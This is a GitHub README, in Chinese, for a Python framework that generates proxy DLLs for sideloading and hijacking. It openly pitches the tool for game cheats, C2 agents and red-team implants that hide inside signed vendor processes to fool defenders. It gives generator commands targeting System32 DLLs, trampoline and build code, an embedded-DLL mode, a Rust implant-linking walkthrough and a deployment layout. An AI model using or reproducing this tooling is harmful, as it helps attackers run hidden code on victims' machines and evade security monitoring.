PatchRequest/DLLProxyFramework

GitHub: PatchRequest/DLLProxyFramework

这是一个自动化生成DLL代理项目的框架,用于DLL旁加载和劫持研究,以实现代码注入和隐蔽执行。

Stars: 11 | Forks: 0

# DLL 代理框架 ## 为何使用 DLL 旁加载? DLL 旁加载允许您的代码——无论是游戏作弊器、C2 代理还是红队植入物——在一个合法的、已签名的进程中执行。对于正在处理警报或查看日志的防御者来说,正在运行的 `.exe` 文件看起来完全无害:它是一个带有有效签名的可信供应商二进制文件。您的负载只是作为它本来就会加载的 DLL 一同运行。 本框架自动化了繁琐的部分:分析目标 DLL 的导出函数,生成将所有函数调用转发到原始函数的代理代码,并为您的负载提供一个干净的插槽。选择一个[可劫持的 DLL](https://hijacklibs.net),运行一个命令,放入您的代码,构建即可。 生成用于 DLL 旁加载和劫持研究的代理 DLL 项目。将其指向一个 DLL,获得一个准备编译的项目,该项目会镜像所有导出函数并将其转发到原始 DLL——同时为您的负载代码预留一个插槽。 ## 工作流程 1. 选择一个目标 DLL(例如来自 [hijacklibs.net](https://hijacklibs.net)) 2. 运行生成器 3. 使用您的加载器代码编辑 `payload.c` 4. 使用 MSVC 或 MinGW 构建 5. 部署 ``` python generate.py C:\Windows\System32\version.dll --payload --embed --block ``` ## 功能特性 - **导出函数镜像** — 分析 PE 导出表并生成汇编跳板(`jmp [ptr]`),透明地将所有调用转发到原始 DLL。处理命名导出、仅序号导出、转发导出以及 C++ 名称修饰。 - **嵌入模式** (`--embed`) — 将原始 DLL 作为 PE 资源嵌入。加载时,它会提取到 `%TEMP%` 并加载。无需分发第二个 DLL 文件。 - **负载线程** (`--payload`) — 生成一个 `payload.c` 模板。您的代码在所有导出函数解析后,在一个单独的线程中运行。 - **阻塞模式** (`--block`) — 挂起主线程,以便进程在您的负载完成之前不会退出。使用两层方法:主挂起 + atexit 回退。无加载锁问题。 - **双编译器支持** — 生成 MSVC(`.asm` + `build_msvc.bat`)和 MinGW(`.S` + `Makefile`)构建文件。 - **双架构支持** — x86 和 x64,根据输入 DLL 自动检测。 ## 安装 ``` pip install -r requirements.txt ``` 需要 Python 3.10+ 和 Visual Studio (MSVC) 或 MinGW-w64 进行构建。 ## 使用方法 ``` python generate.py [options] Options: -o, --output DIR Output directory (default: ./output/_proxy/) --embed Embed original DLL as a PE resource --payload Include payload thread template --block Block process exit until payload finishes (implies --payload) --compiler {msvc,gcc,both} Target compiler (default: both) --arch {x86,x64,auto} Target architecture (default: auto-detect) --original-name NAME Runtime filename for original DLL (non-embed mode) -v, --verbose Show all exports and generated files --dry-run Show what would be generated without writing ``` ### 示例 最小代理(无负载,从磁盘加载原始 DLL): ``` python generate.py C:\Windows\System32\version.dll ``` 完整的旁加载设置,包含嵌入式 DLL 和阻塞负载: ``` python generate.py C:\Windows\System32\version.dll --payload --embed --block ``` 仅 MSVC,详细输出: ``` python generate.py C:\Windows\System32\dbghelp.dll --payload --compiler msvc -v ``` ## 生成的项目结构 ``` version_proxy/ ├── proxy.c # DllMain, function pointer table, init/cleanup ├── proxy.h # Exported function pointer declarations ├── exports.def # Module definition file (maps exports to trampolines) ├── trampolines.asm # MSVC MASM — one jmp [ptr] per export ├── trampolines.S # MinGW GAS — same, AT&T/Intel syntax ├── payload.c # Your code goes here ├── payload.h # Payload thread declaration ├── resource.rc # Embedded DLL resource (--embed) ├── resource.h # Resource IDs ├── original_version.dll # Copy of original DLL (--embed) ├── build_msvc.bat # Build with cl.exe + ml64.exe └── Makefile # Build with gcc + as ``` ## 构建 **MSVC** — 打开开发者命令提示符: ``` cd output\version_proxy build_msvc.bat ``` **MinGW**: ``` cd output\version_proxy mingw32-make ``` ## 工作原理 ### 导出函数转发 每个导出函数都变成一个汇编跳板,通过函数指针进行跳转: ``` ; x64 MASM proxy_GetFileVersionInfoA PROC jmp QWORD PTR [fp_GetFileVersionInfoA] proxy_GetFileVersionInfoA ENDP ``` `.def` 文件将原始导出名称映射到跳板标签: ``` GetFileVersionInfoA = proxy_GetFileVersionInfoA @1 ``` 在 `DLL_PROCESS_ATTACH` 时,加载原始 DLL 并通过 `GetProcAddress` 解析所有函数指针。调用透明地流经——无寄存器损坏,无调用约定问题。 ### 阻塞模式 当宿主进程会立即退出时(例如打印 `--help`),`--block` 会保持进程存活: 1. **主要机制**:负载线程在加载器锁释放后挂起主线程。主线程在到达 `main()` 或 `ExitProcess` 之前被冻结。负载运行,然后调用 `ExitProcess(0)`。 2. **回退机制**:如果主线程赢得了竞态条件,`atexit` 处理程序会阻塞,直到负载发出完成信号。 两条路径均无死锁——不涉及加载器锁。 ## 测试 测试套件验证了针对 `version.dll` 的所有模式组合,适用于两种编译器。需要开发者命令提示符(MSVC)。如果 PATH 中有 `gcc` 和 `mingw32-make`,GCC 测试会自动运行。 ``` cd test run_tests.bat ``` | 测试 | 编译器 | 模式 | 验证内容 | |------|--------|------|----------| | 1 | MSVC | `--embed --payload` | 嵌入式 DLL 提取 + 导出函数转发 | | 2 | MSVC | `--embed --payload --block` | 阻塞模式保持进程存活,负载完成 | | 3 | MSVC | `--payload` | 并排 DLL 加载 + 导出函数转发 | | 4 | MSVC | `--payload --block` | 无嵌入的阻塞模式 | | 5 | GCC | `--embed --payload` | GCC 嵌入式 DLL 提取 + 转发 | | 6 | GCC | `--embed --payload --block` | GCC 带嵌入的阻塞模式 | | 7 | GCC | `--payload` | GCC 并排加载 + 转发 | | 8 | GCC | `--payload --block` | GCC 无嵌入的阻塞模式 | 预期输出: ``` ============================================================ DLL Proxy Framework - Test Suite ============================================================ [*] Compiling test host... [+] test_host.exe ready [*] MinGW detected - GCC tests enabled [TEST 1/MSVC] --embed --payload ------------------------------------------------------------ [+] PASS: MSVC embed forwarding works [TEST 2/MSVC] --embed --payload --block ------------------------------------------------------------ [+] PASS: MSVC embed + block works [TEST 3/MSVC] --payload (no embed, no block) ------------------------------------------------------------ [+] PASS: MSVC non-embed forwarding works [TEST 4/MSVC] --payload --block (no embed) ------------------------------------------------------------ [+] PASS: MSVC non-embed + block works [TEST 5/GCC] --embed --payload ------------------------------------------------------------ [+] PASS: GCC embed forwarding works [TEST 6/GCC] --embed --payload --block ------------------------------------------------------------ [+] PASS: GCC embed + block works [TEST 7/GCC] --payload (no embed, no block) ------------------------------------------------------------ [+] PASS: GCC non-embed forwarding works [TEST 8/GCC] --payload --block (no embed) ------------------------------------------------------------ [+] PASS: GCC non-embed + block works ============================================================ Results: 8 passed, 0 failed ============================================================ ``` ## 示例:链接 Rust 作弊器/植入物 如果您已经有一个用 Rust 编写的项目(作弊器、代理、植入物等),您可以将其静态链接到代理 DLL 中。结果是一个单独的 `.dll` 文件——您的 Rust 代码在被劫持的进程中运行,无需将额外文件落盘。 ### 1. 将您的 Rust 项目编译为静态库 在您 Rust 项目的 `Cargo.toml` 中,将 crate 类型设置为 `staticlib`: ``` [lib] crate-type = ["staticlib"] ``` 通过 C 链接暴露一个入口点: ``` // src/lib.rs use std::fs; use std::io::Write; #[unsafe(no_mangle)] pub extern "C" fn cheat_main() { // your cheat / implant / agent logic here // this runs in its own thread inside the hijacked process let pid = std::process::id(); let msg = format!("Cheat running in PID {}\n", pid); if let Ok(mut f) = fs::File::create("proof.txt") { let _ = f.write_all(msg.as_bytes()); } } ``` 构建它: ``` cargo build --release ``` 这将生成 `target\release\your_crate.lib`。 ### 2. 生成代理项目 ``` python generate.py C:\Windows\System32\version.dll --payload --embed --block ``` ### 3. 编辑 `payload.c` 以调用您的 Rust 代码 用以下内容替换生成的 `payload.c`: ``` #include "payload.h" extern void cheat_main(void); DWORD WINAPI payload_main(LPVOID lpParam) { (void)lpParam; cheat_main(); return 0; } ``` ### 4. 将 Rust `.lib` 链接到构建中 **MSVC** — 编辑 `build_msvc.bat`,将 `.lib` 及其依赖项添加到链接行: ``` cl /nologo /LD ^ proxy.c payload.c trampolines.obj resource.res ^ /link /DEF:exports.def /OUT:version.dll ^ C:\path\to\your_crate.lib ^ kernel32.lib user32.lib ws2_32.lib advapi32.lib userenv.lib ^ ntdll.lib bcrypt.lib msvcrt.lib ``` **MinGW** — 编辑 `Makefile`: ``` RUSTLIB = /path/to/your_crate.lib $(TARGET): $(OBJECTS) $(CC) $(CFLAGS) -o $@ $^ $(DEF) $(RUSTLIB) -lkernel32 -luser32 -lws2_32 -ladvapi32 -luserenv -lbcrypt -lntdll ``` ### 5. 构建和部署 ``` build_msvc.bat ``` 输出文件 `version.dll` 是一个包含以下内容的单个文件: - 代理导出表(将所有调用转发到嵌入的原始 DLL) - 嵌入的原始 `version.dll`(运行时提取) - 您的整个 Rust 作弊器,已静态链接 ### 部署布局 ``` target_app/ ├── legit_signed_app.exe # Trusted binary that loads version.dll └── version.dll # Your proxy (contains original + your Rust code) ``` 就这样。一个文件。日志中的 `.exe` 是一个已签名的供应商二进制文件。 ## 非嵌入模式 ``` target_app/ ├── version.dll # Your proxy ├── original_version.dll # The real DLL (renamed) └── app.exe # Host application ``` ## 许可证 MIT
标签:DLL hijacking, DLL sideloading, DLL注入, Gophish, Hakrawler, pdftotext, 代理DLL, 可视化界面, 安全意识培训, 安全测试, 导出镜像, 恶意代码加载, 恶意软件研究, 攻击性安全, 有效载荷执行, 汇编生成, 流量审计, 私有化部署, 网络可见性, 网络安全, 自动回退, 进程嵌入, 进程隐藏, 逆向工具, 防御规避, 隐私保护, 风险发现